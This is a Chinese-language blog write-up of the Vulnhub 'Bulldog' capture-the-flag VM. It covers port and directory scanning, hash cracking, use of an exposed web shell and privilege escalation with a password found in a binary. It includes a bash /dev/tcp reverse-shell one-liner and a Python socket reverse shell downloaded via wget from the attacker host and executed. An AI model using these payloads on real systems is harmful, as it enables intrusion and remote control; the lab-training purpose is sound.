Yoga7xm's Blog

Vulnhub之bulldog

字数统计: 1.4k阅读时长: 6 min
2018/12/14 Share

0x00 前言

牛头犬行业最近的网站被恶意的德国牧羊犬黑客破坏。这是否意味着有更多漏洞可以利用?你为什么找不到呢?:)

这是标准的Boot-to-Root,目标是进入root目录并看到祝贺消息。

目标:获得root权限和flag

0x01 靶机地址

https://www.vulnhub.com/entry/bulldog-1,211/

0x02 环境搭建

下载好的ova文件,直接用VBox导入即可,然后将网络连接改为桥接网络,开机即可。

  1. 靶机IP:192.168.1.158
  2. 攻击机win7:192.168.1.161
  3. 攻击机kali:192.168.1.225

0x03 Play

1.信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -sS -A -p- -v 192.168.1.158 -oN bulldog.txt

PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries

有三个端口开放,一个是23的ssh,一个是80的web,一个是8080的web

2.漏洞探测

因为只有个ssh服务,所以从web端开始入手

是一个django 框架的web,常规扫下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dirb http://192.168.1.158

---- Scanning URL: http://192.168.1.158/ ----
==> DIRECTORY: http://192.168.1.158/admin/
==> DIRECTORY: http://192.168.1.158/dev/
+ http://192.168.1.158/robots.txt (CODE:200|SIZE:1071)

---- Entering directory: http://192.168.1.158/admin/ ----
==> DIRECTORY: http://192.168.1.158/admin/auth/
==> DIRECTORY: http://192.168.1.158/admin/login/
==> DIRECTORY: http://192.168.1.158/admin/logout/

---- Entering directory: http://192.168.1.158/dev/ ----
==> DIRECTORY: http://192.168.1.158/dev/shell/

---- Entering directory: http://192.168.1.158/admin/auth/ ----
==> DIRECTORY: http://192.168.1.158/admin/auth/group/
==> DIRECTORY: http://192.168.1.158/admin/auth/user/
---- Entering directory: http://192.168.1.158/admin/login/ ----
---- Entering directory: http://192.168.1.158/admin/logout/ ----
---- Entering directory: http://192.168.1.158/dev/shell/ ----
---- Entering directory: http://192.168.1.158/admin/auth/group/ ----
---- Entering directory: http://192.168.1.158/admin/auth/user/ ----

打开/dev/ 源码时发现了一些 hash 和一个webshell页面,不断地进行cmd5撞库,将nick 密码 bulldog,sarah 密码 bulldoglover 解出 然后进后台 /admin/

登录成功后,进入http://192.168.1.158/dev/shell/ 中 一个只能执行以下命令的shell

可以尝试一波反弹shell

3.反弹shell

(1) 直接输入bash shell反弹出现了500后,echo "bash -i >& /dev/tcp/192.168.1.161/1234 0>&1" | bash成功反弹shell

(2) 测试 wget 是否有权限 假如有权限,可以通过Python进行反弹shellkali 搭建一个简易的web服务

1
2
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

然后执行 pwd & wget http://192.168.1.225/ 可以发现有访问日志。

然后在 本目录下创建一个python_shell的文件

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.225",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

然后执行pwd & wget http://192.168.1.225/python_shell.py 然后可以看见python_shell.py 已经下载下来了。

直接监听1234端口 然后 pwd & python python_shell.py

可反弹回shell

4.提权

查看 /etc/passwd 文件 可以看见有 root、django、bulldogadmin 这三个用户

进入/home/ 发现了bulldogadmin的目录,进去,找到了隐藏文件夹,然后进去发现了一个note文件

Nick,

I’m working on the backend permission stuff. Listen, it’s super prototype but I think it’s going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It’s great stuff! Once I’m finished with it, a hacker wouldn’t even be able to reverse it! Keep in mind that it’s still a prototype right now. I am about to get it working with the Django user account. I’m not sure how I’ll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley

然后 strings 了下customPermissionApp 查看其中字符

连起来就是 SUPERultimatePASSWORDyouCANTget可能是密码

然后利用 ssh 登录进去

账号django 密码SUPERultimatePASSWORDyouCANTget

然后sudo su 即可切换root 然后查看congrats.txt

Congratulations on completing this VM :D That wasn’t so bad was it?

Let me know what you thought on twitter, I’m @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Game Over!!!

0x04 回顾与难点

  1. 首先爆破网站目录,发现了/dev/ 和 /admin/
  2. 在/dev/中发现了用户名、邮箱和密码的sha-1值,然后通过撞库找到其中两个账户密码作为起点,还有通往webshell的地址
  3. 登录后台后,进入webshell页面,可以执行命令。
  4. 反弹shell的方式有很多种,直接反弹bash shell 500报错后,可以利用echo 文件然后赋予x权限 然后执行 或者用python进行反弹shell,但是得测试是否有wget权限。
  5. 反弹shell之后,查看/etc/passwd文件 查找id为1000以后的用户,然后进入/home/文件下查看所有文件
  6. 在其中一个用户文件中找到了文件customPermissionApp ,然后用strings查看其字符,拼凑出密码。(这点最难)
  7. 然后提权时,su无效的话可以,用python -c import pty; pty.spawn(“/bin/bash”)’ 然后sudo su -,或者利用ssh登录进去然后再进行sudo su 提权至root,接下来就是查看congrats文件。
CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 靶机地址
  3. 3. 0x02 环境搭建
  4. 4. 0x03 Play
    1. 4.1. 1.信息收集
    2. 4.2. 2.漏洞探测
    3. 4.3. 3.反弹shell
    4. 4.4. 4.提权
  5. 5. 0x04 回顾与难点